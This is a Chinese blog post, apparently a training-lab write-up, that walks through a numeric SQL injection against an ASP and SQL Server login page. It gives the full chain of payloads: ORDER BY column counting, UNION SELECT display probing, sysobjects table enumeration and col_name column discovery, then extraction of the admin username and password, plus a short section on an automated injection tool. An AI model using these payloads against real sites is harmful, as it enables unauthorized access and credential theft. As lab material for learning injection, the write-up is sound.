简单的SQL注入
程序员文章站
2022-03-09 22:29:56
...
简单的SQL注入
题目进入显示如下
0X01 手工注入
登录框里有个公告,感觉是突破口,点进去后显示如下
在这里测试是否有注入点
一、判断是否存在注入
id=2 and 1=1
id=2 and 1=2
adodb.field 错误 ‘80020009’
bof 或 eof 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。
/new_list.asp,行 0
说明存在数字型注入
二、判断字段数
id=2 order by 4
页面显示正常
id=2 order by 5
页面报错
说明字段数为4
三、判断显示位置
id=-2 union all select 1,2,3,4
显示报错,应该不是过滤导致的,不可能单单就过滤一个union,况且后面查询当前数据库使用的union也没有过滤,怀疑是对输入的类型做了判断。
一个个的测后发现,显示位3为字符型导致出错没有正确显示
id=-2 union all select 1,2,'3',4
四、判断当前数据库
id=-2 union all select 1,db_name(),'3',4
当前数据库为:mozhe_db_v2
这里也可以使用db_name(1)、db_name(2)查询其他数据库
五、判断表
id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4
xtype=‘u’ 这句话的意思的 在[表]这个表里搜索 xtype 这个字段的u值的表
也就是说 xtype字段里的值是u的就会被搜索出来
id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4
表名为:manage
id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4
表名:announcement
六、判断列名
id=-2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4
得出:id
id=-2 union all select 1,(select top 1 col_name(object_id('manage'),2) from sysobjects),'3',4
得出:username
id=-2 union all select 1,(select top 1 col_name(object_id('manage'),3) from sysobjects),'3',4
得出:password
id=-2 union all select 1,(select top 1 col_name(object_id('manage'),4) from sysobjects),'3',4
得出:空
说明mange表总共有3列,分别为:id、username、password
七、得出用户名密码
id=-2 union all select 1,(select username from manage),'3',4
id=-2 union all select 1,(select password from manage where username in ('admin_mz')),'3',4
得出密码:
0X02 用啊D工具注入
扫描注入点
在注入点检测表段
检测出来后对manage表段进行字段检测
可以看到uesrname 和 password后将这个两个勾上,然后检测内容
得到账户密码。
上一篇: 一组PHP可逆加密解密算法
下一篇: PHP 数据库类的封装及使用